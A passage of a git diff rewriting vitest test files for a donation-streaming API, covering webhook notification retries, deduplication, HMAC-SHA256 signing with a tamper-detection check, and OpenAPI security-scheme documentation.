signal.addEventListener('abort', () => reject(signal.reason), { once: true }); - }); - }); - - await expect(notify(event)).resolves.toBeUndefined(); - - expect(fetchSpy).toHaveBeenCalledWith( - 'http://example.com/webhook', - expect.objectContaining({ signal: expect.any(AbortSignal) }), - ); - const [, request] = fetchSpy.mock.calls[0] as [string, RequestInit]; - expect(request.signal?.aborted).toBe(true); - }); - - it('writes an email record on every notify call', async () => { - vi.spyOn(console, 'log').mockImplementation(() => {}); - - await notify(event); - - const log = await prisma.notificationLog.findFirst({ where: { channel: 'email' } }); - expect(log).not.toBeNull(); - expect(log?.success).toBe(true); - }); - - it('fires the webhook at a URL set after the module was imported', async () => { - // Regression guard: NOTIFY_WEBHOOK_URL used to be read into a module-level - // constant, so a value set after import was ignored for the process - // lifetime. The import at the top of this file has already run by now. - const webhookUrl = 'http://example.com/set-after-import'; - process.env.NOTIFY_WEBHOOK_URL = webhookUrl; - - const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); - - const event: NotificationEvent = { - type: 'stream_created', - streamId: '1', - donorAddress: 'GDONOR', - ngoId: 'NGO1', - }; - - await notify(event); - - expect(fetchSpy).toHaveBeenCalledWith( - webhookUrl, - expect.objectContaining({ - method: 'POST', - headers: { 'content-type': 'application/json' }, - body: JSON.stringify(event), - }), - ); - }); - - it('fans an event out only to enabled endpoints subscribed to its type', async () => { - await prisma.notificationEndpoint.createMany({ - data: [ - { - url: 'https://one.example/webhook', - secret: 'one-secret', - eventTypes: ['stream_created'], - }, - { - url: 'https://two.example/webhook', - secret: 'two-secret', - eventTypes: ['ngo_approved'], - }, - { - url: 'https://disabled.example/webhook', - secret: 'unused-secret', - eventTypes: ['stream_created'], - enabled: false, - }, - ], - }); - const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); - - await notify({ ...event, eventId: 'fanout-event-1' }); - - expect(fetchSpy).toHaveBeenCalledTimes(1); - expect(fetchSpy).toHaveBeenCalledWith( - 'https://one.example/webhook', - expect.objectContaining({ method: 'POST', body: JSON.stringify({ ...event, eventId: 'fanout-event-1' }) }), - ); - const log = await prisma.notificationLog.findFirst({ - where: { eventId: 'fanout-event-1', channel: { startsWith: 'webhook:' }, success: true }, - }); - expect(log).not.toBeNull(); - }); - - it('picks up a rotated NOTIFY_WEBHOOK_URL on the next call', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/first'; - - const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); - - const event: NotificationEvent = { - type: 'stream_withdrawn', - streamId: '1', - amount: '10', - }; - - await notify(event); - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/second'; - await notify(event); - - expect(fetchSpy.mock.calls.map(([url]) => url)).toEqual([ - 'http://example.com/first', - 'http://example.com/second', - ]); - }); - - it('skips the webhook when NOTIFY_WEBHOOK_URL is unset', async () => { - delete process.env.NOTIFY_WEBHOOK_URL; - - const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); - - await notify({ - type: 'stream_cancelled', - streamId: '1', - settledToNgo: '5', - refundToDonor: '5', - }); - - expect(fetchSpy).not.toHaveBeenCalled(); - }); - - describe('delivery deduplication and retry (#270)', () => { - it('retries delivery when a previous send attempt failed', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - vi.spyOn(console, 'error').mockImplementation(() => {}); - - // First call fails with 500 error - const fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockResolvedValueOnce(new Response(null, { status: 500 })) - .mockResolvedValueOnce(new Response(null, { status: 200 })); - - const retryEvent: NotificationEvent = { - type: 'stream_created', - streamId: '1', - donorAddress: 'GDONOR', - ngoId: 'NGO1', - eventId: 'event-retry-123', - }; - - await notify(retryEvent); - expect(fetchSpy).toHaveBeenCalledTimes(1); - - // On retry, it should try sending again because the first attempt failed - await notify(retryEvent); - expect(fetchSpy).toHaveBeenCalledTimes(2); - - // On duplicate call after successful delivery, it should not send again - await notify(retryEvent); - expect(fetchSpy).toHaveBeenCalledTimes(2); - }); - - it('persists delivery across process restarts so already-delivered events are not resent', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - - const fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockResolvedValue(new Response(null, { status: 200 })); - - const restartEvent: NotificationEvent = { - type: 'stream_created', - streamId: '2', - donorAddress: 'GDONOR2', - ngoId: 'NGO2', - eventId: 'event-restart-456', - }; - - // Successfully delivers on first try - await notify(restartEvent); - expect(fetchSpy).toHaveBeenCalledTimes(1); - - // Verify delivery record was persisted in database - const log = await prisma.notificationLog.findFirst({ - where: { eventId: restartEvent.eventId, success: true }, - }); - expect(log).not.toBeNull(); - - // Simulate process restart by clearing the in-memory deduplication set - _resetDeliveredEventIdsForTest(); - - // On re-delivery attempt after restart, it checks persisted database log and skips - await notify(restartEvent); - expect(fetchSpy).toHaveBeenCalledTimes(1); - }); - }); - - describe('persisted webhook retry outbox', () => { - async function makeDeliveryDue(eventId: string): Promise { - await prisma.webhookDelivery.update({ - where: { eventId }, - data: { nextAttemptAt: new Date(0) }, - }); - } - - it('retries a receiver that fails twice and then succeeds', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - vi.spyOn(console, 'error').mockImplementation(() => {}); - const fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockResolvedValueOnce(new Response(null, { status: 500 })) - .mockResolvedValueOnce(new Response(null, { status: 503 })) - .mockResolvedValueOnce(new Response(null, { status: 200 })); - const retryEvent = { ...event, eventId: 'event-outbox-retry' }; - - await notify(retryEvent); - await makeDeliveryDue(retryEvent.eventId); - await processPendingWebhookDeliveries(); - await makeDeliveryDue(retryEvent.eventId); - await processPendingWebhookDeliveries(); - - const delivery = await prisma.webhookDelivery.findUnique({ - where: { eventId: retryEvent.eventId }, - }); - expect(fetchSpy).toHaveBeenCalledTimes(3); - expect(delivery).toMatchObject({ attempts: 3, status: 'DELIVERED', lastError: null }); - }); - - it('marks a delivery failed after the maximum number of attempts', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - vi.spyOn(console, 'error').mockImplementation(() => {}); - const fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockResolvedValue(new Response(null, { status: 500 })); - const retryEvent = { ...event, eventId: 'event-outbox-give-up' }; - - await notify(retryEvent); - for (let attempt = 1; attempt < 5; attempt += 1) { - await makeDeliveryDue(retryEvent.eventId); - await processPendingWebhookDeliveries(); - } - - const delivery = await prisma.webhookDelivery.findUnique({ - where: { eventId: retryEvent.eventId }, - }); - expect(fetchSpy).toHaveBeenCalledTimes(5); - expect(delivery).toMatchObject({ attempts: 5, status: 'FAILED' }); - - await processPendingWebhookDeliveries(); - expect(fetchSpy).toHaveBeenCalledTimes(5); - }); - }); - - describe('webhook signature', () => { - const event: NotificationEvent = { - type: 'stream_created', - streamId: '1', - donorAddress: 'GDONOR', - ngoId: 'NGO1', - }; - - /** Captures the single fetch the webhook notifier makes. */ - function captureWebhookRequest() { - const fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockResolvedValue(new Response(null, { status: 204 })); - vi.spyOn(console, 'log').mockImplementation(() => {}); - return fetchSpy; - } - - it('signs the timestamp, delivery ID, and body with a versioned HMAC-SHA256', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - process.env.NOTIFY_WEBHOOK_SECRET = 'a-shared-secret'; - - const fetchSpy = captureWebhookRequest(); - - await notify(event); - - expect(fetchSpy).toHaveBeenCalledTimes(1); - const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; - const headers = init.headers as Record; - const body = init.body as string; - - // Recomputed here from the secret and the bytes actually sent, rather - // than compared against a hard-coded digest — that way the assertion - // stays true if the payload shape changes, and still fails if the - // service ever signs something other than what it transmits. - const timestamp = headers['x-streamgive-timestamp']; - const deliveryId = headers['x-streamgive-delivery']; - const expected = `v1=${createHmac('sha256', 'a-shared-secret') - .update(`${timestamp}.${deliveryId}.${body}`) - .digest('hex')}`; - - expect(timestamp).toMatch(/^\d+$/); - expect(deliveryId).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - expect(headers['x-streamgive-signature']).toBe(expected); - }); - - it('signs the exact bytes sent as the body, not a re-serialisation', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - process.env.NOTIFY_WEBHOOK_SECRET = 'a-shared-secret'; - - const fetchSpy = captureWebhookRequest(); - - await notify(event); - - const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; - const headers = init.headers as Record; - const signature = headers['x-streamgive-signature']; - - // A receiver only ever has the raw body — this is that verification, - // done the way the README tells integrators to do it. - const verified = `v1=${createHmac('sha256', 'a-shared-secret') - .update( - `${headers['x-streamgive-timestamp']}.${headers['x-streamgive-delivery']}.${Buffer.from( - init.body as string, - 'utf8', - ).toString('utf8')}`, - ) - .digest('hex')}`; - - expect(signature).toBe(verified); - expect(JSON.parse(init.body as string)).toEqual(event); - }); - - it('rejects a tampered body: the signature no longer matches', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - process.env.NOTIFY_WEBHOOK_SECRET = 'a-shared-secret'; - - const fetchSpy = captureWebhookRequest(); - - await notify(event); - - const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; - const headers = init.headers as Record; - - const forged = JSON.stringify({ ...event, ngoId: 'ATTACKER-NGO' }); - const forgedDigest = `v1=${createHmac('sha256', 'a-shared-secret') - .update( - `${headers['x-streamgive-timestamp']}.${headers['x-streamgive-delivery']}.${forged}`, - ) - .digest('hex')}`; - - expect(forgedDigest).not.toBe(headers['x-streamgive-signature']); - }); - - it('omits the signature header when no secret is configured', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - - const fetchSpy = captureWebhookRequest(); - - await notify(event); - - const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; - const headers = init.headers as Record; - - expect(headers['x-streamgive-signature']).toBeUndefined(); - expect(headers['content-type']).toBe('application/json'); - expect(headers['x-streamgive-timestamp']).toMatch(/^\d+$/); - expect(headers['x-streamgive-delivery']).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - }); - }); -}); +import { createHmac } from 'node:crypto'; + +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { + _resetDeliveredEventIdsForTest, + notify, + processPendingWebhookDeliveries, +} from '../../src/notifications/service.js'; +import type { NotificationEvent } from '../../src/notifications/types.js'; +import { resetDb } from '../helpers/db.js'; + +const event: NotificationEvent = { + type: 'stream_created', + streamId: '1', + donorAddress: 'GDONOR', + ngoId: 'NGO1', +}; + +describe('notify', () => { + const originalEnv = process.env.NOTIFY_WEBHOOK_URL; + const originalSecret = process.env.NOTIFY_WEBHOOK_SECRET; + const originalTimeout = process.env.NOTIFY_WEBHOOK_TIMEOUT_MS; + + beforeEach(async () => { + vi.restoreAllMocks(); + _resetDeliveredEventIdsForTest(); + await resetDb(); + delete process.env.NOTIFY_WEBHOOK_URL; + delete process.env.NOTIFY_WEBHOOK_TIMEOUT_MS; + // Unset by default so the signing cases opt in explicitly and a stray + // value in the developer's own .env can't make them pass for free. + delete process.env.NOTIFY_WEBHOOK_SECRET; + }); + + afterEach(() => { + // Assigning `undefined` to a process.env key stores the string + // "undefined" rather than unsetting it, so delete instead when the var + // was originally absent. + if (originalEnv === undefined) { + delete process.env.NOTIFY_WEBHOOK_URL; + } else { + process.env.NOTIFY_WEBHOOK_URL = originalEnv; + } + + if (originalSecret === undefined) { + delete process.env.NOTIFY_WEBHOOK_SECRET; + } else { + process.env.NOTIFY_WEBHOOK_SECRET = originalSecret; + } + + if (originalTimeout === undefined) { + delete process.env.NOTIFY_WEBHOOK_TIMEOUT_MS; + } else { + process.env.NOTIFY_WEBHOOK_TIMEOUT_MS = originalTimeout; + } + }); + + const okResponse = () => new Response(null, { status: 200 }); + + it('logs status code and URL when webhook returns a non-2xx response (500)', async () => { + const webhookUrl = 'http://example.com/webhook'; + process.env.NOTIFY_WEBHOOK_URL = webhookUrl; + + const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + vi.spyOn(globalThis, 'fetch').mockResolvedValue( + new Response(null, { status: 500, statusText: 'Internal Server Error' }), + ); + + await notify(event); + + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringMatching(/500.*http:\/\/example\.com\/webhook/), + ); + }); + + it('does not throw or block notify when the webhook request rejects', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'https://example.com/webhook'; + + vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('Network error')); + const consoleSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const failedEvent: NotificationEvent = { + type: 'ngo_revoked', + ownerAddress: 'G1234567890', + ngoId: 'ngo-123', + }; + + await expect(notify(failedEvent)).resolves.not.toThrow(); + expect(consoleSpy).toHaveBeenCalled(); + }); + + it('writes a failure record when webhook returns non-2xx', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + vi.spyOn(console, 'error').mockImplementation(() => {}); + vi.spyOn(globalThis, 'fetch').mockResolvedValue( + new Response(null, { status: 500, statusText: 'Internal Server Error' }), + ); + + await notify(event); + + const log = await prisma.notificationLog.findFirst({ + where: { channel: 'webhook', success: false }, + }); + expect(log).not.toBeNull(); + expect(log?.eventType).toBe('stream_created'); + expect(log?.error).toMatch(/500/); + }); + + it('writes a success record when webhook returns 2xx', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response(null, { status: 200 })); + + await notify(event); + + const log = await prisma.notificationLog.findFirst({ + where: { channel: 'webhook', success: true }, + }); + expect(log).not.toBeNull(); + expect(log?.eventType).toBe('stream_created'); + }); + + it('aborts a webhook that does not respond within the configured timeout', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + process.env.NOTIFY_WEBHOOK_TIMEOUT_MS = '5'; + vi.spyOn(console, 'error').mockImplementation(() => {}); + const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation((_url, init) => { + const signal = init?.signal; + return new Promise((_resolve, reject) => { + if (!signal) { + reject(new Error('expected webhook request to have an abort signal')); + return; + } + signal.addEventListener('abort', () => reject(signal.reason), { once: true }); + }); + }); + + await expect(notify(event)).resolves.toBeUndefined(); + + expect(fetchSpy).toHaveBeenCalledWith( + 'http://example.com/webhook', + expect.objectContaining({ signal: expect.any(AbortSignal) }), + ); + const [, request] = fetchSpy.mock.calls[0] as [string, RequestInit]; + expect(request.signal?.aborted).toBe(true); + }); + + it('writes an email record on every notify call', async () => { + vi.spyOn(console, 'log').mockImplementation(() => {}); + + await notify(event); + + const log = await prisma.notificationLog.findFirst({ where: { channel: 'email' } }); + expect(log).not.toBeNull(); + expect(log?.success).toBe(true); + }); + + it('fires the webhook at a URL set after the module was imported', async () => { + // Regression guard: NOTIFY_WEBHOOK_URL used to be read into a module-level + // constant, so a value set after import was ignored for the process + // lifetime. The import at the top of this file has already run by now. + const webhookUrl = 'http://example.com/set-after-import'; + process.env.NOTIFY_WEBHOOK_URL = webhookUrl; + + const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); + + const event: NotificationEvent = { + type: 'stream_created', + streamId: '1', + donorAddress: 'GDONOR', + ngoId: 'NGO1', + }; + + await notify(event); + + expect(fetchSpy).toHaveBeenCalledWith( + webhookUrl, + expect.objectContaining({ + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify(event), + }), + ); + }); + + it('fans an event out only to enabled endpoints subscribed to its type', async () => { + await prisma.notificationEndpoint.createMany({ + data: [ + { + url: 'https://one.example/webhook', + secret: 'one-secret', + eventTypes: ['stream_created'], + }, + { + url: 'https://two.example/webhook', + secret: 'two-secret', + eventTypes: ['ngo_approved'], + }, + { + url: 'https://disabled.example/webhook', + secret: 'unused-secret', + eventTypes: ['stream_created'], + enabled: false, + }, + ], + }); + const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); + + await notify({ ...event, eventId: 'fanout-event-1' }); + + expect(fetchSpy).toHaveBeenCalledTimes(1); + expect(fetchSpy).toHaveBeenCalledWith( + 'https://one.example/webhook', + expect.objectContaining({ method: 'POST', body: JSON.stringify({ ...event, eventId: 'fanout-event-1' }) }), + ); + const log = await prisma.notificationLog.findFirst({ + where: { eventId: 'fanout-event-1', channel: { startsWith: 'webhook:' }, success: true }, + }); + expect(log).not.toBeNull(); + }); + + it('picks up a rotated NOTIFY_WEBHOOK_URL on the next call', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/first'; + + const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); + + const event: NotificationEvent = { + type: 'stream_withdrawn', + streamId: '1', + amount: '10', + }; + + await notify(event); + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/second'; + await notify(event); + + expect(fetchSpy.mock.calls.map(([url]) => url)).toEqual([ + 'http://example.com/first', + 'http://example.com/second', + ]); + }); + + it('skips the webhook when NOTIFY_WEBHOOK_URL is unset', async () => { + delete process.env.NOTIFY_WEBHOOK_URL; + + const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(okResponse()); + + await notify({ + type: 'stream_cancelled', + streamId: '1', + settledToNgo: '5', + refundToDonor: '5', + }); + + expect(fetchSpy).not.toHaveBeenCalled(); + }); + + describe('delivery deduplication and retry (#270)', () => { + it('retries delivery when a previous send attempt failed', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + vi.spyOn(console, 'error').mockImplementation(() => {}); + + // First call fails with 500 error + const fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValueOnce(new Response(null, { status: 500 })) + .mockResolvedValueOnce(new Response(null, { status: 200 })); + + const retryEvent: NotificationEvent = { + type: 'stream_created', + streamId: '1', + donorAddress: 'GDONOR', + ngoId: 'NGO1', + eventId: 'event-retry-123', + }; + + await notify(retryEvent); + expect(fetchSpy).toHaveBeenCalledTimes(1); + + // On retry, it should try sending again because the first attempt failed + await notify(retryEvent); + expect(fetchSpy).toHaveBeenCalledTimes(2); + + // On duplicate call after successful delivery, it should not send again + await notify(retryEvent); + expect(fetchSpy).toHaveBeenCalledTimes(2); + }); + + it('persists delivery across process restarts so already-delivered events are not resent', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + + const fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValue(new Response(null, { status: 200 })); + + const restartEvent: NotificationEvent = { + type: 'stream_created', + streamId: '2', + donorAddress: 'GDONOR2', + ngoId: 'NGO2', + eventId: 'event-restart-456', + }; + + // Successfully delivers on first try + await notify(restartEvent); + expect(fetchSpy).toHaveBeenCalledTimes(1); + + // Verify delivery record was persisted in database + const log = await prisma.notificationLog.findFirst({ + where: { eventId: restartEvent.eventId, success: true }, + }); + expect(log).not.toBeNull(); + + // Simulate process restart by clearing the in-memory deduplication set + _resetDeliveredEventIdsForTest(); + + // On re-delivery attempt after restart, it checks persisted database log and skips + await notify(restartEvent); + expect(fetchSpy).toHaveBeenCalledTimes(1); + }); + }); + + describe('persisted webhook retry outbox', () => { + async function makeDeliveryDue(eventId: string): Promise { + await prisma.webhookDelivery.update({ + where: { eventId }, + data: { nextAttemptAt: new Date(0) }, + }); + } + + it('retries a receiver that fails twice and then succeeds', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + vi.spyOn(console, 'error').mockImplementation(() => {}); + const fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValueOnce(new Response(null, { status: 500 })) + .mockResolvedValueOnce(new Response(null, { status: 503 })) + .mockResolvedValueOnce(new Response(null, { status: 200 })); + const retryEvent = { ...event, eventId: 'event-outbox-retry' }; + + await notify(retryEvent); + await makeDeliveryDue(retryEvent.eventId); + await processPendingWebhookDeliveries(); + await makeDeliveryDue(retryEvent.eventId); + await processPendingWebhookDeliveries(); + + const delivery = await prisma.webhookDelivery.findUnique({ + where: { eventId: retryEvent.eventId }, + }); + expect(fetchSpy).toHaveBeenCalledTimes(3); + expect(delivery).toMatchObject({ attempts: 3, status: 'DELIVERED', lastError: null }); + }); + + it('marks a delivery failed after the maximum number of attempts', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + vi.spyOn(console, 'error').mockImplementation(() => {}); + const fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValue(new Response(null, { status: 500 })); + const retryEvent = { ...event, eventId: 'event-outbox-give-up' }; + + await notify(retryEvent); + for (let attempt = 1; attempt < 5; attempt += 1) { + await makeDeliveryDue(retryEvent.eventId); + await processPendingWebhookDeliveries(); + } + + const delivery = await prisma.webhookDelivery.findUnique({ + where: { eventId: retryEvent.eventId }, + }); + expect(fetchSpy).toHaveBeenCalledTimes(5); + expect(delivery).toMatchObject({ attempts: 5, status: 'FAILED' }); + + await processPendingWebhookDeliveries(); + expect(fetchSpy).toHaveBeenCalledTimes(5); + }); + }); + + describe('webhook signature', () => { + const event: NotificationEvent = { + type: 'stream_created', + streamId: '1', + donorAddress: 'GDONOR', + ngoId: 'NGO1', + }; + + /** Captures the single fetch the webhook notifier makes. */ + function captureWebhookRequest() { + const fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValue(new Response(null, { status: 204 })); + vi.spyOn(console, 'log').mockImplementation(() => {}); + return fetchSpy; + } + + it('signs the timestamp, delivery ID, and body with a versioned HMAC-SHA256', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + process.env.NOTIFY_WEBHOOK_SECRET = 'a-shared-secret'; + + const fetchSpy = captureWebhookRequest(); + + await notify(event); + + expect(fetchSpy).toHaveBeenCalledTimes(1); + const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; + const headers = init.headers as Record; + const body = init.body as string; + + // Recomputed here from the secret and the bytes actually sent, rather + // than compared against a hard-coded digest — that way the assertion + // stays true if the payload shape changes, and still fails if the + // service ever signs something other than what it transmits. + const timestamp = headers['x-streamgive-timestamp']; + const deliveryId = headers['x-streamgive-delivery']; + const expected = `v1=${createHmac('sha256', 'a-shared-secret') + .update(`${timestamp}.${deliveryId}.${body}`) + .digest('hex')}`; + + expect(timestamp).toMatch(/^\d+$/); + expect(deliveryId).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + expect(headers['x-streamgive-signature']).toBe(expected); + }); + + it('signs the exact bytes sent as the body, not a re-serialisation', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + process.env.NOTIFY_WEBHOOK_SECRET = 'a-shared-secret'; + + const fetchSpy = captureWebhookRequest(); + + await notify(event); + + const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; + const headers = init.headers as Record; + const signature = headers['x-streamgive-signature']; + + // A receiver only ever has the raw body — this is that verification, + // done the way the README tells integrators to do it. + const verified = `v1=${createHmac('sha256', 'a-shared-secret') + .update( + `${headers['x-streamgive-timestamp']}.${headers['x-streamgive-delivery']}.${Buffer.from( + init.body as string, + 'utf8', + ).toString('utf8')}`, + ) + .digest('hex')}`; + + expect(signature).toBe(verified); + expect(JSON.parse(init.body as string)).toEqual(event); + }); + + it('rejects a tampered body: the signature no longer matches', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + process.env.NOTIFY_WEBHOOK_SECRET = 'a-shared-secret'; + + const fetchSpy = captureWebhookRequest(); + + await notify(event); + + const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; + const headers = init.headers as Record; + + const forged = JSON.stringify({ ...event, ngoId: 'ATTACKER-NGO' }); + const forgedDigest = `v1=${createHmac('sha256', 'a-shared-secret') + .update( + `${headers['x-streamgive-timestamp']}.${headers['x-streamgive-delivery']}.${forged}`, + ) + .digest('hex')}`; + + expect(forgedDigest).not.toBe(headers['x-streamgive-signature']); + }); + + it('omits the signature header when no secret is configured', async () => { + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + + const fetchSpy = captureWebhookRequest(); + + await notify(event); + + const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit]; + const headers = init.headers as Record; + + expect(headers['x-streamgive-signature']).toBeUndefined(); + expect(headers['content-type']).toBe('application/json'); + expect(headers['x-streamgive-timestamp']).toMatch(/^\d+$/); + expect(headers['x-streamgive-delivery']).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + }); + }); +}); diff --git a/test/openapi.test.ts b/test/openapi.test.ts index 2a86e5d..c9eb847 100644 --- a/test/openapi.test.ts +++ b/test/openapi.test.ts @@ -1,170 +1,170 @@ -import { readFileSync } from 'node:fs'; -import { describe, expect, it } from 'vitest'; - -import { buildServer } from '../src/server.js'; - -const packageJson = JSON.parse( - readFileSync(new URL('../package.json', import.meta.url), 'utf8'), -) as { version: string }; - -interface SecuritySchemeObject { - type?: string; - name?: string; - in?: string; - description?: string; -} - -interface OperationObject { - tags?: string[]; - security?: unknown; - parameters?: Array<{ in?: string; name: string }>; -} - -describe('OpenAPI documentation', () => { - it('reads the version dynamically from package.json', async () => { - const app = buildServer(); - await app.ready(); - - const spec = app.swagger(); - expect(spec.info?.version).toBe(packageJson.version); - expect(spec.info?.version).not.toBe('1.0.0'); - - await app.close(); - }); - - it('declares the three admin apiKey security schemes in components', async () => { - const app = buildServer(); - await app.ready(); - - const spec = app.swagger(); - const schemes = spec.components?.securitySchemes as Record | undefined; - expect(schemes).toBeDefined(); - - expect(schemes?.adminAddress).toEqual({ - type: 'apiKey', - name: 'x-admin-address', - in: 'header', - description: expect.any(String), - }); - - expect(schemes?.adminSignature).toEqual({ - type: 'apiKey', - name: 'x-admin-signature', - in: 'header', - description: expect.any(String), - }); - - expect(schemes?.adminTimestamp).toEqual({ - type: 'apiKey', - name: 'x-admin-timestamp', - in: 'header', - description: expect.any(String), - }); - - await app.close(); - }); - - it('secures all admin routes with the admin authentication scheme', async () => { - const app = buildServer(); - await app.ready(); - - const spec = app.swagger(); - const expectedSecurity = [ - { - adminAddress: [], - adminSignature: [], - adminTimestamp: [], - }, - ]; - - const adminEndpoints: Array<[string, 'get' | 'post' | 'patch']> = [ - ['/v1/ngo-applications/stats', 'get'], - ['/v1/ngo-applications', 'get'], - ['/v1/ngo-applications/{id}', 'get'], - ['/v1/ngo-applications/{id}/approve', 'post'], - ['/v1/ngo-applications/{id}/reject', 'post'], - ['/v1/ngos/all', 'get'], - ['/v1/admin/ngos/{id}', 'patch'], - ]; - - for (const [path, method] of adminEndpoints) { - const operation = (spec.paths?.[path] as Record | undefined)?.[method]; - expect(operation, `Expected operation ${method.toUpperCase()} ${path} to exist`).toBeDefined(); - expect(operation?.security).toEqual(expectedSecurity); - } - - // Public routes must not declare admin security requirement - expect(spec.paths?.['/v1/ngo-applications/challenge']?.post?.security).toBeUndefined(); - expect(spec.paths?.['/v1/ngo-applications']?.post?.security).toBeUndefined(); - expect(spec.paths?.['/v1/ngo-applications/status']?.get?.security).toBeUndefined(); - expect(spec.paths?.['/v1/ngos']?.get?.security).toBeUndefined(); - - await app.close(); - }); - - it('ensures all routes have tags defined', async () => { - const app = buildServer(); - await app.ready(); - - const spec = app.swagger(); - const paths = spec.paths ?? {}; - - for (const [pathKey, pathItem] of Object.entries(paths)) { - for (const [method, operation] of Object.entries(pathItem as Record)) { - if (['get', 'post', 'put', 'delete', 'patch'].includes(method)) { - expect( - operation.tags, - `Expected route ${method.toUpperCase()} ${pathKey} to have tags`, - ).toBeDefined(); - expect( - operation.tags?.length, - `Expected route ${method.toUpperCase()} ${pathKey} to have at least one tag`, - ).toBeGreaterThan(0); - } - } - } - - await app.close(); - }); - - it('lists limit, cursor, sort, and q query parameters for /v1/ngos', async () => { - const app = buildServer(); - await app.ready(); - - const spec = app.swagger(); - const ngoGet = spec.paths?.['/v1/ngos']?.get; - expect(ngoGet).toBeDefined(); - - const queryParameters = (ngoGet?.parameters ?? []).filter( - (param: { in?: string; name: string }) => param.in === 'query', - ); - const parameterNames = queryParameters.map( - (param: { in?: string; name: string }) => param.name, - ); - - expect(parameterNames).toContain('limit'); - expect(parameterNames).toContain('cursor'); - expect(parameterNames).toContain('sort'); - expect(parameterNames).toContain('q'); - - await app.close(); - }); - - it('documents the /v1/streams query parameters generated from the validation schema', async () => { - const app = buildServer(); - await app.ready(); - - const streamsGet = app.swagger().paths?.['/v1/streams']?.get; - expect(streamsGet).toBeDefined(); - - const names = (streamsGet?.parameters ?? []) - .filter((param: { in?: string }) => param.in === 'query') - .map((param: { name: string }) => param.name); - - expect(names).toEqual( - expect.arrayContaining(['donor', 'ngo', 'ngoAddress', 'token', 'status', 'limit', 'cursor']), - ); - - await app.close(); - }); -}); +import { readFileSync } from 'node:fs'; +import { describe, expect, it } from 'vitest'; + +import { buildServer } from '../src/server.js'; + +const packageJson = JSON.parse( + readFileSync(new URL('../package.json', import.meta.url), 'utf8'), +) as { version: string }; + +interface SecuritySchemeObject { + type?: string; + name?: string; + in?: string; + description?: string; +} + +interface OperationObject { + tags?: string[]; + security?: unknown; + parameters?: Array<{ in?: string; name: string }>; +} + +describe('OpenAPI documentation', () => { + it('reads the version 